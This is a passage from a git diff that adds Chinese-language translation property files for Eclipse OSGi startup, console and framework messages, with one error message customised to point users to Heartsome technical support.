+ECLIPSE_STARTUP_ROOTS_NOT_RESOLVED=\u7531\u4e8e\u672a\u89e3\u6790\u4ee5\u4e0b\u6839\u7ea6\u675f\uff0c\u6240\u4ee5\u672a\u89e3\u6790\u4e00\u4e2a\u6216\u591a\u4e2a\u675f\uff1a +ECLIPSE_STARTUP_ALL_NOT_RESOLVED=\u4ee5\u4e0b\u662f\u672a\u89e3\u6790\u7684\u675f\u7684\u5b8c\u6574\u5217\u8868\uff0c\u8bf7\u53c2\u9605\u4e0a\u4e00\u4e2a\u65e5\u5fd7\u6761\u76ee\u4ee5\u4e86\u89e3\u6839\u672c\u539f\u56e0\uff08\u5982\u679c\u5b58\u5728\u8be5\u65e5\u5fd7\u6761\u76ee\u7684\u8bdd\uff09\uff1a +ECLIPSE_STARTUP_ERROR_BUNDLE_NOT_RESOLVED=\u672a\u89e3\u6790 bundle {0}\u3002 +ECLIPSE_STARTUP_ERROR_BUNDLE_NOT_ACTIVE=bundle {0} \u4e0d\u6d3b\u52a8\u3002 +ECLIPSE_STARTUP_ERROR_NO_APPLICATION=\u65e0\u6cd5\u83b7\u53d6\u5e94\u7528\u7a0b\u5e8f\u670d\u52a1\u3002\u8bf7\u786e\u4fdd\u89e3\u6790\u5e76\u542f\u52a8\u4e86 org.eclipse.core.runtime \u675f\uff08\u8bf7\u53c2\u9605 config.ini\uff09\u3002 +ECLIPSE_STARTUP_ERROR_CHECK_LOG=\u7a0b\u5e8f\u8fd0\u884c\u65f6\u51fa\u9519\uff0c\u8bf7\u5c1d\u8bd5\u5982\u4e0b\u89e3\u51b3\u529e\u6cd5\uff1a\n\ +1\u3001\u91cd\u65b0\u5b89\u88c5 1.6 \u6216\u66f4\u9ad8\u7248\u672c\u7684 Java Runtime Environment (JRE)\uff1b\n\ +2\u3001\u91cd\u65b0\u89e3\u538b\u60a8\u4e0b\u8f7d\u5230\u7684\u7a0b\u5e8f\u5305\u3002\n\n\ +\u82e5\u8be5\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u63d0\u4f9b\u4ee5\u4e0b\u65e5\u5fd7\u6587\u4ef6\u7ed9 Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\uff1a\n{0} +ECLIPSE_STARTUP_ALREADY_RUNNING=\u5e73\u53f0\u5df2\u7ecf\u5728\u8fd0\u884c +ECLIPSE_STARTUP_NOT_RUNNING=\u5e73\u53f0\u672a\u5728\u8fd0\u884c +ECLIPSE_STARTUP_STARTUP_ERROR=\u542f\u52a8\u9519\u8bef +ECLIPSE_STARTUP_APP_ERROR=\u5e94\u7528\u7a0b\u5e8f\u9519\u8bef +ECLIPSE_STARTUP_SHUTDOWN_ERROR=\u5173\u95ed\u9519\u8bef +ECLIPSE_STARTUP_FAILED_INSTALL=\u5b89\u88c5 bundle {0} \u65f6\u51fa\u9519 +ECLIPSE_STARTUP_FAILED_UNINSTALL=\u5378\u8f7d bundle {0} \u65f6\u51fa\u9519 +ECLIPSE_STARTUP_FAILED_START=\u542f\u52a8 bundle {0} \u65f6\u51fa\u9519 +ECLIPSE_STARTUP_FILEMANAGER_OPEN_ERROR=\u8bfb\u53d6\u914d\u7f6e\u65f6\u51fa\u9519\uff1a{0} +ECLIPSE_STARTUP_PROPS_NOT_SET=\u5728\u672a\u8bbe\u7f6e\u4e0b\u5217\u7cfb\u7edf\u5c5e\u6027\u7684\u60c5\u51b5\u4e0b\uff0c\u65e0\u6cd5\u5f00\u59cb\uff1a{0} +ECLIPSE_DATA_MANIFEST_NOT_FOUND=\u627e\u4e0d\u5230\u6e05\u5355\uff1a{0} +ECLIPSE_DATA_ERROR_READING_MANIFEST=\u4ece\u4f4d\u7f6e {0} \u8bfb\u53d6 bundle \u7684\u6e05\u5355\u65f6\u51fa\u9519 +ECLIPSE_CONSOLE_NO_BUNDLE_SPECIFIED_ERROR=\u672a\u6307\u5b9a\u4efb\u4f55\u675f\uff01 +ECLIPSE_CONSOLE_CANNOT_FIND_BUNDLE_ERROR=\u627e\u4e0d\u5230 bundle {0}\u3002 +ECLIPSE_CONSOLE_NO_CONSTRAINTS_NO_PLATFORM_ADMIN_MESSAGE=\u6ca1\u6709\u672a\u89e3\u6790\u7684\u7ea6\u675f [\u672a\u6ce8\u518c PlatformAdmin \u670d\u52a1]\u3002 +ECLIPSE_CONSOLE_NO_CONSTRAINTS=\u6ca1\u6709\u672a\u89e3\u6790\u7684\u7ea6\u675f\u3002 +ECLIPSE_CONSOLE_DIRECT_CONSTRAINTS=\u672a\u89e3\u6790\u7684\u76f4\u63a5\u7ea6\u675f\uff1a +ECLIPSE_CONSOLE_COMMANDS_HEADER=Eclipse \u8fd0\u884c\u65f6\u547d\u4ee4 +ECLIPSE_CONSOLE_HELP_DIAG_COMMAND_DESCRIPTION=\u663e\u793a\u6307\u5b9a bundle \u7684\u4e0d\u6ee1\u8db3\u7684\u7ea6\u675f\u3002 +ECLIPSE_CONSOLE_HELP_ENABLE_COMMAND_DESCRIPTION=\u542f\u7528\u6307\u5b9a\u7684\u675f +ECLIPSE_CONSOLE_HELP_DISABLE_COMMAND_DESCRIPTION=\u7981\u7528\u6307\u5b9a\u7684\u675f +ECLIPSE_CONSOLE_HELP_LD_COMMAND_DESCRIPTION=\u5217\u51fa\u7cfb\u7edf\u4e2d\u5df2\u7981\u7528\u7684\u675f +ECLIPSE_CONSOLE_BUNDLE_DISABLED_MESSAGE=\u5df2\u5728\u63a7\u5236\u53f0\u4e2d\u7981\u7528\u675f +ECLIPSE_CONSOLE_DISABLED_COUNT_MESSAGE=\u7cfb\u7edf\u4e2d\u6709 {0} \u4e2a\u5df2\u7981\u7528\u7684\u675f +ECLIPSE_CONSOLE_DISABLED_BUNDLE_HEADER=\u675f\uff1a\t{0}\uff08\u6807\u8bc6={1}\uff09 +ECLIPSE_CONSOLE_DISABLED_BUNDLE_REASON1=\u539f\u56e0\uff1a\t{0}\uff08\u7b56\u7565={1}\uff09 +ECLIPSE_MISSING_OPTIONAL_REQUIRED_BUNDLE=\u7f3a\u5c11\u53ef\u9009\u7684\u5fc5\u9700 bundle {0}\u3002 +ECLIPSE_MISSING_REQUIRED_BUNDLE=\u7f3a\u5c11\u5fc5\u9700\u7684 bundle {0}\u3002 +ECLIPSE_MISSING_IMPORTED_PACKAGE=\u7f3a\u5c11\u5df2\u5bfc\u5165\u5305 {0}\u3002 +ECLIPSE_MISSING_HOST=\u7f3a\u5c11\u4e3b\u673a {0}\u3002 +ECLIPSE_CONVERTER_ERROR_CONVERTING=\u8f6c\u6362 {0} \u5904\u7684\u63d2\u4ef6\u65f6\u51fa\u9519\u3002 +ECLIPSE_CONVERTER_ERROR_CREATING_BUNDLE_MANIFEST=\u4e3a {1} \u5904\u7684 {0} \u521b\u5efa bundle \u6e05\u5355\u6587\u4ef6\u65f6\u51fa\u9519\u3002 +ECLIPSE_CONVERTER_ERROR_PARSING_PLUGIN_MANIFEST=\u5bf9 {1} \u5904\u7684\u63d2\u4ef6\u6e05\u5355\u6587\u4ef6 {0} \u8fdb\u884c\u89e3\u6790\u65f6\u51fa\u9519\u3002 +ECLIPSE_CONVERTER_MISSING_ATTRIBUTE=\u5bf9 {0} \u6e05\u5355\u8fdb\u884c\u89e3\u6790\u65f6\u51fa\u9519\u3002\u5728\u5143\u7d20\u201c{2}\u201d\u4e2d\u7f3a\u5c11\u5c5e\u6027\u201c{1}\u201d\u3002 +ECLIPSE_CONVERTER_PLUGIN_LIBRARY_IGNORED=\u4e3a {1} \u521b\u5efa\u6e05\u5355\u65f6\u5ffd\u7565\u4e86\u63d2\u4ef6\u5e93 {0}\u3002 +ECLIPSE_CONVERTER_NO_SAX_FACTORY=\u5c1a\u672a\u627e\u5230\u4efb\u4f55 SAX \u5de5\u5382\u89e3\u6790\u5668\u3002 +ECLIPSE_CONVERTER_PARSE_UNKNOWNTOP_ELEMENT=\u5ffd\u7565\u5728\u9876\u5c42\u4e2d\u53d1\u73b0\u7684\u672a\u77e5\u5143\u7d20\u201c{0}\u201d\u3002 +ECLIPSE_CONVERTER_FILENOTFOUND=\u5728 {0} \u4e2d\u627e\u4e0d\u5230 META-INF/MANIFEST.MF\u3001plugin.xml \u6216 fragment.xml\u3002 +parse_error=\u5bf9\u6e05\u5355 {0} \u8fdb\u884c\u89e3\u6790\u65f6\u51fa\u9519 +parse_errorNameLineColumn=\u89e3\u6790\u6e05\u5355\u65f6\uff0c\u5728\u7b2c\u201c{1}\u201d\u884c\u7b2c\u201c{2}\u201d\u5217\u7684\u201c{0}\u201d\u5904\u51fa\u9519\uff1a{3} +ECLIPSE_CLASSLOADER_CANNOT_GET_HEADERS=\u4e3a {0} \u88c5\u5165 bundle \u6e05\u5355\u65f6\u51fa\u9519\u3002\u4f7f\u7528\u7f3a\u7701\u7684\u81ea\u52a8\u6fc0\u6d3b\u8bbe\u7f6e\u3002 +ECLIPSE_CLASSLOADER_CONCURRENT_STARTUP=\u5728\u88c5\u5165\u7c7b\u201c{1}\u201d\u65f6\uff0c\u7ebf\u7a0b\u201c{0}\u201d\u7b49\u5f85\uff08{4}ms\uff09\u7ebf\u7a0b\u201c{2}\u201d\u5b8c\u6210\u542f\u52a8 bundle\u201c{3}\u201d\u8d85\u65f6\u3002\u8981\u907f\u514d\u6b7b\u9501\uff0c\u7ebf\u7a0b\u201c{0}\u201d\u6b63\u5728\u5904\u7406\u4f46\u201c{1}\u201d\u53ef\u80fd\u672a\u5b8c\u5168\u521d\u59cb\u5316\u3002 +ECLIPSE_CLASSLOADER_ACTIVATION=\u81ea\u52a8\u6fc0\u6d3b bundle {0} \u65f6\u51fa\u9519\uff08{1}\uff09\u3002 +ECLIPSE_CACHEDMANIFEST_UNEXPECTED_EXCEPTION=\u4ece\u4f4d\u7f6e {0} \u88c5\u5165 bundle \u7684\u6e05\u5355\u65f6\u53d1\u751f\u4e86\u610f\u5916\u7684\u5f02\u5e38\u3002 +ECLIPSE_BUNDLESTOPPER_CYCLES_FOUND=\u4fe1\u606f\uff1a\u505c\u6b62 bundle \u65f6\u53d1\u73b0\u5faa\u73af\uff1a{0}\u3002 +ECLIPSE_CANNOT_CHANGE_LOCATION=\u4e00\u65e6\u8bbe\u7f6e\u4e86\u4f4d\u7f6e\u5c31\u4e0d\u80fd\u66f4\u6539\u5b83\u3002 +error_badNL=\u9519\u8bef\u503c\uff1a\u5bf9 NL \u4f7f\u7528\u201c{0}\u201d\u662f\u9519\u8bef\u7684\u3002\u8bf7\u4f7f\u7528\u7cfb\u7edf\u7f3a\u7701\u503c\u3002 +fileManager_cannotLock=\u65e0\u6cd5\u521b\u5efa\u9501\u7ba1\u7406\u5668\u3002 +fileManager_updateFailed=\u5728\u4e00\u4e2a\u6216\u591a\u4e2a\u6587\u4ef6\u4e0a\u8fdb\u884c\u6587\u4ef6\u66f4\u65b0\u65f6\u5931\u8d25\u3002 +fileManager_illegalInReadOnlyMode=\u5728\u53ea\u8bfb\u65b9\u5f0f\u4e0b\u65e0\u6cd5\u6267\u884c\u64cd\u4f5c\u3002 +fileManager_notOpen=\u7ba1\u7406\u5668\u672a\u6253\u5f00\u3002 +location_cannotLockNIO=\u9501\u5b9a\u6587\u4ef6\u201c{0}\u201d\u65f6\u53d1\u751f\u4e86\u9519\u8bef\uff1a\u201c{1}\u201d\u3002\u5e38\u89c1\u539f\u56e0\u662f\u6587\u4ef6\u7cfb\u7edf\u6216\u8fd0\u884c\u65f6\u73af\u5883\u4e0d\u652f\u6301\u5bf9\u8be5\u4f4d\u7f6e\u8fdb\u884c\u6587\u4ef6\u9501\u5b9a\u3002\u8bf7\u9009\u62e9\u53e6\u4e00\u4e2a\u4f4d\u7f6e\uff0c\u6216\u8005\u901a\u8fc7\u5c06 {2} \u4f5c\u4e3a VM \u53c2\u6570\u4f20\u9012\u6765\u7981\u7528\u6587\u4ef6\u9501\u5b9a\u3002 +location_cannotLock=\u9501\u5b9a\u6587\u4ef6\u201c{0}\u201d\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 +location_folderReadOnly=\u6587\u4ef6\u5939\u201c{0}\u201d\u662f\u53ea\u8bfb\u7684\u3002 +location_notSet=\u5c1a\u672a\u8bbe\u7f6e\u4f4d\u7f6e\u3002 +location_notFileProtocol=\u65e0\u6cd5\u9501\u5b9a\u4f4d\u7f6e\u3002\u5df2\u8bbe\u7f6e\u7684\u4f4d\u7f6e\u4e0d\u662f\u6587\u4ef6 URL\uff1a{0} +location_noLockFile=\u5c1a\u672a\u8bbe\u7f6e\u9501\u6587\u4ef6\u3002 \ No newline at end of file diff --git a/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/framework/internal/core/ConsoleMessages_zh.properties b/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/framework/internal/core/ConsoleMessages_zh.properties new file mode 100644 index 0000000..d1285fa --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/framework/internal/core/ConsoleMessages_zh.properties @@ -0,0 +1,127 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +CONSOLE_ID=\u6807\u8bc6 +CONSOLE_MORE=-- \u66f4\u591a... \u6309 Enter \u952e\u7ee7\u7eed... +CONSOLE_HELP_CONTROLLING_CONSOLE_HEADING=---\u64cd\u7eb5\u63a7\u5236\u53f0--- +CONSOLE_HELP_MORE=\u63a7\u5236\u53f0\u8f93\u51fa\u7684\u66f4\u591a\u63d0\u793a +CONSOLE_HELP_DISCONNECT=\u65ad\u5f00 Telnet \u4f1a\u8bdd +CONSOLE_CONFIRM_MORE=\u4f7f\u7528\u201cmore\u201d\u63d0\u793a\u5417\uff1f +CONSOLE_MORE_ENTER_LINES=\u8f93\u5165\u8981\u6eda\u52a8\u7684\u6700\u591a\u884c\u6570\uff1a +CONSOLE_CONFIRM_DISCONNECT=\u8981\u65ad\u5f00\u4e0e\u63a7\u5236\u53f0\u7684\u8fde\u63a5\u5417\uff1f +CONSOLE_CONFIRM=\u786e\u8ba4 +CONSOLE_CONFIRM_VALUES=y/n; default= +CONSOLE_Y=y +CONSOLE_N=n +CONSOLE_ERROR_READING_RESOURCE=\u8bfb\u53d6 {0} \u65f6\u51fa\u9519 +CONSOLE_RESOURCE_NOT_IN_BUNDLE=\u5728 {1} \u4e2d\u627e\u4e0d\u5230 {0} +CONSOLE_NESTED_EXCEPTION=\u5d4c\u5957\u4f8b\u5916\uff1a +CONSOLE_PROMPT_DEFAULT=\u9ed8\u8ba4 +CONSOLE_INVALID_INPUT=\u65e0\u6548\u8f93\u5165\u3002 +CONSOLE_TOO_MUCH_INVALID_INPUT=\u592a\u591a\u65e0\u6548\u8f93\u5165\u3002 +CONSOLE_LINES_TO_SCROLL_NEGATIVE_ERROR=\u8981\u6eda\u52a8\u7684\u884c\u6570\u88ab\u8bbe\u7f6e\u4e3a\u8d1f\u6570 +CONSOLE_HELP_CONTROLLING_FRAMEWORK_HEADER=\u63a7\u5236 OSGi \u6846\u67b6 +CONSOLE_HELP_LAUNCH_COMMAND_DESCRIPTION=\u542f\u52a8 OSGi \u6846\u67b6 +CONSOLE_HELP_SHUTDOWN_COMMAND_DESCRIPTION=\u5173\u95ed OSGi \u6846\u67b6 +CONSOLE_HELP_CLOSE_COMMAND_DESCRIPTION=\u5173\u95ed\u5e76\u9000\u51fa +CONSOLE_HELP_EXIT_COMMAND_DESCRIPTION=\u7acb\u5373\u9000\u51fa\uff08System.exit\uff09 +CONSOLE_HELP_GC_COMMAND_DESCRIPTION=\u6267\u884c\u5783\u573e\u56de\u6536 +CONSOLE_HELP_INIT_COMMAND_DESCRIPTION=\u5378\u8f7d\u6240\u6709\u675f +CONSOLE_HELP_SETPROP_COMMAND_DESCRIPTION=\u8bbe\u7f6e OSGi \u5c5e\u6027 +CONSOLE_HELP_CONTROLLING_BUNDLES_HEADER=\u6b63\u5728\u63a7\u5236\u675f +CONSOLE_HELP_INSTALL_COMMAND_DESCRIPTION=\u5b89\u88c5 bundle \u5e76\uff08\u53ef\u9009\uff09\u4ece\u7ed9\u5b9a\u7684 URL \u542f\u52a8 bundle +CONSOLE_HELP_UNINSTALL_COMMAND_DESCRIPTION=\u5378\u8f7d\u6307\u5b9a\u7684 bundle +CONSOLE_HELP_START_COMMAND_DESCRIPTION=\u542f\u52a8\u6307\u5b9a\u7684 bundle +CONSOLE_HELP_STOP_COMMAND_DESCRIPTION=\u505c\u6b62\u6307\u5b9a\u7684 bundle +CONSOLE_HELP_REFRESH_COMMAND_DESCRIPTION=\u5237\u65b0\u6307\u5b9a bundle \u7684\u5305 +CONSOLE_HELP_UPDATE_COMMAND_DESCRIPTION=\u66f4\u65b0\u6307\u5b9a bundle +CONSOLE_HELP_DISPLAYING_STATUS_HEADER=\u6b63\u5728\u663e\u793a\u72b6\u6001 +CONSOLE_HELP_STATUS_COMMAND_DESCRIPTION=\u663e\u793a\u5df2\u5b89\u88c5\u7684 bundle \u548c\u5df2\u6ce8\u518c\u7684\u670d\u52a1 +CONSOLE_HELP_STATE_ARGUMENT_DESCRIPTION=[-s [<\u675f\u72b6\u6001\u7684\u9017\u53f7\u5206\u9694\u5217\u8868>] []] +CONSOLE_HELP_SS_COMMAND_DESCRIPTION=\u663e\u793a\u5df2\u5b89\u88c5\u7684 bundle\uff08\u77ed\u72b6\u6001\uff09 +CONSOLE_HELP_PACKAGES_COMMAND_DESCRIPTION=\u663e\u793a\u5df2\u5bfc\u5165\uff0f\u5bfc\u51fa\u7684\u5305\u7684\u8be6\u7ec6\u4fe1\u606f +CONSOLE_HELP_BUNDLES_COMMAND_DESCRIPTION=\u663e\u793a\u5df2\u5b89\u88c5\u7684\u6240\u6709 bundle \u7684\u8be6\u7ec6\u4fe1\u606f +CONSOLE_HELP_BUNDLE_COMMAND_DESCRIPTION=\u663e\u793a\u6307\u5b9a bundle \u7684\u8be6\u7ec6\u4fe1\u606f +CONSOLE_HELP_HEADERS_COMMAND_DESCRIPTION=\u6253\u5370 bundle \u6807\u9898 +CONSOLE_HELP_EXTRAS_HEADER=\u5176\u5b83 +CONSOLE_HELP_EXEC_COMMAND_DESCRIPTION=\u5728\u5355\u72ec\u7684\u8fdb\u7a0b\u4e2d\u6267\u884c\u547d\u4ee4\u5e76\u7b49\u5f85 +CONSOLE_HELP_FORK_COMMAND_DESCRIPTION=\u5728\u5355\u72ec\u7684\u8fdb\u7a0b\u4e2d\u6267\u884c\u547d\u4ee4 +CONSOLE_HELP_KEYVALUE_ARGUMENT_DESCRIPTION=\= +CONSOLE_HELP_FILTER_ARGUMENT_DESCRIPTION=[\u8fc7\u6ee4\u5668] +CONSOLE_HELP_PACKAGES_ARGUMENT_DESCRIPTION=[||] +CONSOLE_HELP_IDLOCATION_ARGUMENT_DESCRIPTION=(|) +CONSOLE_HELP_OPTIONAL_IDLOCATION_ARGUMENT_DESCRIPTION=[|] +CONSOLE_HELP_COMMAND_ARGUMENT_DESCRIPTION= +CONSOLE_HELP_GETPROP_COMMAND_DESCRIPTION=\u663e\u793a\u5177\u6709\u7ed9\u5b9a\u540d\u79f0\u7684\u7cfb\u7edf\u5c5e\u6027\uff0c\u6216\u8005\u663e\u793a\u6240\u6709\u7cfb\u7edf\u5c5e\u6027\u3002 +CONSOLE_HELP_GETPROP_ARGUMENT_DESCRIPTION=[ \u540d\u79f0 ] +CONSOLE_NO_BUNDLE_SPECIFIED_ERROR=\u6ca1\u6709\u6307\u5b9a bundle\uff01 +CONSOLE_NOTHING_TO_INSTALL_ERROR=\u6ca1\u6709\u8981\u5b89\u88c5\u7684\u5bf9\u8c61\uff01 +CONSOLE_NO_INSTALLED_BUNDLES_ERROR=\u6ca1\u6709\u5df2\u5b89\u88c5\u7684 bundle\u3002 +CONSOLE_BUNDLE_ID_MESSAGE=bundle \u6807\u8bc6\u4e3a +CONSOLE_FRAMEWORK_IS_LAUNCHED_MESSAGE=\u6846\u67b6\u5df2\u542f\u52a8\u3002 +CONSOLE_FRAMEWORK_IS_SHUTDOWN_MESSAGE=\u6846\u67b6\u5df2\u5173\u95ed\u3002 +CONSOLE_ID_MESSAGE=\u6807\u8bc6 \= {0} +CONSOLE_BUNDLE_LOCATION_MESSAGE=bundle \u4f4d\u7f6e +CONSOLE_STATE_BUNDLE_FILE_NAME_HEADER=\u72b6\u6001 bundle \u6587\u4ef6\u540d +CONSOLE_REGISTERED_SERVICES_MESSAGE=\u5df2\u6ce8\u518c\u7684\u670d\u52a1 +CONSOLE_REGISTERED_BY_BUNDLE_MESSAGE=\u5df2\u7531 bundle \u6ce8\u518c\uff1a +CONSOLE_BUNDLES_USING_SERVICE_MESSAGE=\u6b63\u5728\u4f7f\u7528\u670d\u52a1\u7684 bundle\uff1a +CONSOLE_NO_BUNDLES_USING_SERVICE_MESSAGE=\u6ca1\u6709 bundle \u6b63\u5728\u4f7f\u7528\u670d\u52a1\u3002 +CONSOLE_NO_REGISTERED_SERVICES_MESSAGE=\u6ca1\u6709\u5df2\u6ce8\u518c\u7684\u670d\u52a1\u3002 +CONSOLE_NO_EXPORTED_PACKAGES_MESSAGE=\u6ca1\u6709\u5df2\u5bfc\u51fa\u7684\u5305 +CONSOLE_NO_IMPORTED_PACKAGES_MESSAGE=\u6ca1\u6709\u5df2\u5bfc\u5165\u7684\u5305 +CONSOLE_REMOVAL_PENDING_MESSAGE=\u9664\u53bb\u6682\u6302 +CONSOLE_IMPORTS_MESSAGE=\u5bfc\u5165 +CONSOLE_STALE_MESSAGE=\u8fc7\u65f6 +CONSOLE_NO_EXPORTED_PACKAGES_NO_PACKAGE_ADMIN_MESSAGE=\u6ca1\u6709\u5df2\u5bfc\u51fa\u7684\u5305 [PackageAdmin \u670d\u52a1\u672a\u6ce8\u518c] +CONSOLE_SERVICES_IN_USE_MESSAGE=\u6b63\u5728\u4f7f\u7528\u7684\u670d\u52a1\uff1a +CONSOLE_NO_SERVICES_IN_USE_MESSAGE=\u6ca1\u6709\u6b63\u5728\u4f7f\u7528\u7684\u670d\u52a1\u3002 +CONSOLE_STATUS_MESSAGE=\u72b6\u6001 \= {0} +CONSOLE_DATA_ROOT_MESSAGE=\u6570\u636e\u6839 \= {0} +CONSOLE_EXPORTED_PACKAGES_MESSAGE=\u5df2\u5bfc\u51fa\u7684\u5305 +CONSOLE_IMPORTED_PACKAGES_MESSAGE=\u5df2\u5bfc\u5165\u7684\u5305 +CONSOLE_EXPORTED_REMOVAL_PENDING_MESSAGE=[\u5df2\u5bfc\u51fa\uff08\u9664\u53bb\u6682\u6302\uff09] +CONSOLE_EXPORTED_MESSAGE=[\u5df2\u5bfc\u51fa] +CONSOLE_TOTAL_MEMORY_MESSAGE=\u603b\u5185\u5b58\uff1a +CONSOLE_FREE_MEMORY_BEFORE_GARBAGE_COLLECTION_MESSAGE=\u8fdb\u884c GC \u4e4b\u524d\u7684\u53ef\u7528\u5185\u5b58\uff1a +CONSOLE_FREE_MEMORY_AFTER_GARBAGE_COLLECTION_MESSAGE=\u8fdb\u884c GC \u4e4b\u540e\u7684\u53ef\u7528\u5185\u5b58\uff1a +CONSOLE_MEMORY_GAINED_WITH_GARBAGE_COLLECTION_MESSAGE=\u901a\u8fc7 GC \u83b7\u5f97\u7684\u5185\u5b58\uff1a +CONSOLE_FRAMEWORK_LAUNCHED_PLEASE_SHUTDOWN_MESSAGE=\u6846\u67b6\u5df2\u542f\u52a8\u3002\u8bf7\u9996\u5148\u5173\u95ed\u6846\u67b6\u3002 +CONSOLE_INVALID_BUNDLE_SPECIFICATION_ERROR=\u6307\u5b9a\u7684 bundle \u65e0\u6548\u3002 +CONSOLE_CAN_NOT_REFRESH_NO_PACKAGE_ADMIN_ERROR=\u4e0d\u80fd\u5237\u65b0 [\u672a\u6ce8\u518c PackageAdmin \u670d\u52a1] +CONSOLE_CAN_NOT_USE_STARTLEVEL_NO_STARTLEVEL_SVC_ERROR=\u4e0d\u80fd\u4f7f\u7528 Startlevel \u547d\u4ee4 [\u672a\u6ce8\u518c Startlevel \u670d\u52a1] +CONSOLE_NO_COMMAND_SPECIFIED_ERROR=\u672a\u6307\u5b9a\u547d\u4ee4 +CONSOLE_EXECUTED_RESULT_CODE_MESSAGE=\u6267\u884c\u4e86\uff08{0}\uff09\uff1b\u7ed3\u679c\u4ee3\u7801 \= {1} +CONSOLE_STARTED_IN_MESSAGE=\u542f\u52a8\u4e86 {1} \u4e2d\u7684\uff08{0}\uff09 +CONSOLE_BUNDLE_HEADERS_TITLE=bundle \u5934\uff1a +CONSOLE_SYSTEM_PROPERTIES_TITLE=\u7cfb\u7edf\u5c5e\u6027\uff1a +CONSOLE_NO_PARAMETERS_SPECIFIED_TITLE=\u672a\u6307\u5b9a\u53c2\u6570\uff1a +CONSOLE_SETTING_PROPERTIES_TITLE=\u6b63\u5728\u8bbe\u7f6e\u5c5e\u6027\uff1a +CONSOLE_STATE_BUNDLE_TITLE=\u72b6\u6001 bundle +CONSOLE_THREADGROUP_TITLE=\u7ebf\u7a0b\u7ec4\u7c7b\u578b\uff1a\u540d\u79f0\uff1a \u7236\u7ec4\uff1a\u6700\u5927\u4f18\u5148\u7ea7\uff1a\u7ebf\u7a0b\uff1a +CONSOLE_THREADTYPE_TITLE=\u7ebf\u7a0b\u7c7b\u578b\uff1a \u540d\u79f0\uff1a \u7ebf\u7a0b\u7ec4\uff1a\u4f18\u5148\u7ea7\uff1a +CONSOLE_CANNOT_FIND_BUNDLE_ERROR=\u627e\u4e0d\u5230 bundle {0} +CONSOLE_LISTENING_ON_PORT=\u6b63\u5728\u7aef\u53e3 {0} \u4e0a\u4fa6\u542c... +STARTLEVEL_HELP_HEADING=\u6b63\u5728\u63a7\u5236\u542f\u52a8\u7ea7\u522b +STARTLEVEL_HELP_SL=\u663e\u793a\u6307\u5b9a\u7684 bundle \u7684\u542f\u52a8\u7ea7\u522b\uff0c\u5982\u679c\u672a\u6307\u5b9a bundle\uff0c\u5219\u663e\u793a\u6846\u67b6\u7684\u542f\u52a8\u7ea7\u522b +STARTLEVEL_HELP_SETFWSL=\u8bbe\u7f6e\u6846\u67b6\u542f\u52a8\u7ea7\u522b +STARTLEVEL_HELP_SETBSL=\u8bbe\u7f6e bundle \u7684\u542f\u52a8\u7ea7\u522b +STARTLEVEL_HELP_SETIBSL=\u8bbe\u7f6e\u521d\u59cb bundle \u542f\u52a8\u7ea7\u522b +STARTLEVEL_FRAMEWORK_ACTIVE_STARTLEVEL=\u6846\u67b6\u6d3b\u52a8\u542f\u52a8\u7ea7\u522b \= {0} +STARTLEVEL_NO_STARTLEVEL_GIVEN=\u6ca1\u6709\u7ed9\u5b9a\u542f\u52a8\u7ea7\u522b\u3002 +STARTLEVEL_NO_STARTLEVEL_OR_BUNDLE_GIVEN=\u6ca1\u6709\u7ed9\u5b9a bundle \u6216\u542f\u52a8\u7ea7\u522b\u3002 +STARTLEVEL_INITIAL_BUNDLE_STARTLEVEL=\u521d\u59cb bundle \u542f\u52a8\u7ea7\u522b \= {0} +STARTLEVEL_BUNDLE_STARTLEVEL=bundle {0} \u542f\u52a8\u7ea7\u522b \= {1} +STARTLEVEL_ARGUMENT_DESCRIPTION= +STARTLEVEL_IDLOCATION_ARGUMENT_DESCRIPTION=\uff08|\uff09 +STARTLEVEL_POSITIVE_INTEGER=\u542f\u52a8\u7ea7\u522b\u5fc5\u987b\u662f\u4e00\u4e2a\u6b63\u6574\u6570\u3002 +CONSOLE_NAMED_CLASS_SPACE_MESSAGE=\u5df2\u547d\u540d\u7c7b\u7a7a\u95f4 +CONSOLE_PROVIDED_MESSAGE=[\u5df2\u63d0\u4f9b] +CONSOLE_HOST_MESSAGE=\u4e3b\u673a bundle +CONSOLE_NO_HOST_MESSAGE=\u6ca1\u6709\u4e3b\u673a bundle +CONSOLE_FRAGMENT_MESSAGE=\u6bb5 bundle +CONSOLE_NO_FRAGMENT_MESSAGE=\u6ca1\u6709\u6bb5 bundle +CONSOLE_NO_NAMED_CLASS_SPACES_MESSAGE=\u6ca1\u6709\u5df2\u547d\u540d\u7684\u7c7b\u7a7a\u95f4 +CONSOLE_REQUIRED_BUNDLES_MESSAGE=\u5fc5\u9700\u7684 bundle +CONSOLE_NO_REQUIRED_BUNDLES_MESSAGE=\u6ca1\u6709\u5fc5\u9700\u7684 bundle +CONSOLE_REQUIRES_MESSAGE=[\u8981\u6c42] +CONSOLE_HELP_PROFILE_HEADING=\u63a7\u5236\u6982\u8981\u5206\u6790 +CONSOLE_HELP_PROFILELOG_DESCRIPTION=\u663e\u793a\u548c\u6e05\u9664\u6982\u8981\u5206\u6790\u65e5\u5fd7\u6d88\u606f \ No newline at end of file diff --git a/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/framework/internal/core/ExternalMessages_zh.properties b/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/framework/internal/core/ExternalMessages_zh.properties new file mode 100644 index 0000000..05c5793 --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/framework/internal/core/ExternalMessages_zh.properties @@ -0,0 +1,41 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +OSGI_SYSTEMBUNDLE_CREATE_EXCEPTION=\u521b\u5efa\u7cfb\u7edf\u675f\u662f\u51fa\u73b0\u5f02\u5e38\uff1a{0} +OSGI_SYSTEMBUNDLE_DESCRIPTION_ERROR=\u65e0\u6cd5\u6784\u5efa\u7cfb\u7edf\u675f\u63cf\u8ff0\u3002 +OSGI_INTERNAL_ERROR=OSGi \u6846\u67b6\u4e2d\u7684\u5185\u90e8\u9519\u8bef\u3002\u8bf7\u5305\u62ec\u6b64\u95ee\u9898\u3002 +BUNDLE_INSTALL_RECURSION_EXCEPTION=\u675f\u5df2\u5b89\u88c5 